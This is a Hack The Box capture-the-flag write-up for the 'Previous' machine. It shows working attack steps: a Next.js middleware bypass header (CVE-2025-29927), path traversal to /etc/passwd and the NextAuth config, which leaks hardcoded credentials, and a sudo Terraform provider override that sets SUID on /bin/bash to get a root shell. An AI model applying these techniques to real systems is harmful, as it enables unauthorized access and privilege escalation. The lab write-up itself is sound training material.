Hackthebox: Previous

Foued SAIDI Lv5

Overview

Previous is a medium-difficulty Hack The Box machine that starts with exploiting a vulnerable Next.js application affected by an authorization bypass (CVE-2025-29927), allowing arbitrary file disclosure => extract hardcoded credentials from the NextAuth configuration => SSH => privilege escalation to root by abusing a misconfigured Terraform setup that allows loading a malicious provider binary and granting a SUID root shell.

Previous
Previous

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can see we have ssh open and a web application deployed on port 80 reidrecting us to previous.htb that we will add to our /etc/hosts file.

Web Application - http://previous.htb/

As soon as I get into the web app, I run Wappalyzer on it and it successfully identifies nextjs version 15.2.2 which is vulnerable to authorization bypass through CVE-2025-29927 .

On the web app, we have an endpoint that allows us to download typescript source code files: http://previous.htb/api/download?example=hello-world.ts

We will abuse CVE-2025-29927 on it and keep adding the X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
in order to try and download restricted files which were prior blocked:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin

And indeed we will get the /etc/passwd file by changing the filename in the request to ../../../../../../etc/passwd.

Next, after checking the next JS docs in order to get the location of auth files

1
2
3
4
proc/self/cwd => command working dir
.next/server/pages => docs
/api/auth => requests
[...nextauth].js => docs

We will inject this file into the url ../../../../../../proc/self/cwd/.next/server/pages/api/auth/[...nextauth].js

And now we get the file containing some credentials:

1
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();

jeremy:MyNameIsJeremyAndILovePancakes

This user will get us the user.txt flag after sshing with him.

Privilege Escalation - Terraform abuse

Checking what we can execute with sudo privileges:

1
2
3
4
5
6
jeremy@previous:~$ sudo -l
Matching Defaults entries for jeremy on previous:
!env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples apply

Now what we can do is utilize Terraform to load provider binaries from a specified folder and apply them.

We will create a malicious folder with a script inside of it that add the SUID bit to bash, then we can get root and the root flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
jeremy@previous:~$ sudo /usr/bin/terraform -chdir=/opt/examples apply
â•·
│ Warning: Provider development overrides are in effect
│
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /home/jeremy/privesc
│
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published
│ releases.
╵
â•·
│ Error: Failed to load plugin schemas
│
│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider previous.htb/terraform/examples:
│ failed to instantiate provider "previous.htb/terraform/examples" to obtain schema: could not find executable file starting with terraform-provider-examples..
╵



jeremy@previous:~$ mkdir -p /home/jeremy/privesc^C
jeremy@previous:~$ cat > /home/jeremy/privesc/terraform-provider-examples <<'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF
^C
jeremy@previous:~$ chmod +x privesc/terraform-provider-examples ^C
jeremy@previous:~$ sudo /usr/bin/terraform -chdir=/opt/examples apply^C
jeremy@previous:~$
jeremy@previous:~$ sudo /usr/bin/terraform -chdir=/opt/examples apply
â•·
│ Warning: Provider development overrides are in effect
│
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /home/jeremy/privesc
│
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published
│ releases.
╵
â•·
│ Error: Failed to load plugin schemas
│
│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider previous.htb/terraform/examples:
│ failed to instantiate provider "previous.htb/terraform/examples" to obtain schema: Unrecognized remote plugin message:
│ Failed to read any lines from plugin's stdout
│ This usually means
│ the plugin was not compiled for this architecture,
│ the plugin is missing dynamic-link libraries necessary to run,
│ the plugin is not executable by this process due to file permissions, or
│ the plugin failed to negotiate the initial go-plugin protocol handshake
│
│ Additional notes about plugin:
│ Path: /home/jeremy/privesc/terraform-provider-examples
│ Mode: -rwxrwxr-x
│ Owner: 1000 [jeremy] (current: 0 [root])
│ Group: 1000 [jeremy] (current: 0 [root])
│ ..
╵
jeremy@previous:~$ ll /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash*
jeremy@previous:~$ bash -p
bash-5.1# cat /root/root.txt
1d7940febd58b6d089453cb647df37e9
bash-5.1# exit
exit

And that was it for Previous, hope you learned something new!

-0xkujen

  • Title: Hackthebox: Previous
  • Author: Foued SAIDI
  • Created at : 2026-01-10 13:14:16
  • Updated at : 2026-01-10 12:03:48
  • Link: https://kujen5.github.io/2026/01/10/Hackthebox-Previous/
  • License: This work is licensed under CC BY-NC-SA 4.0.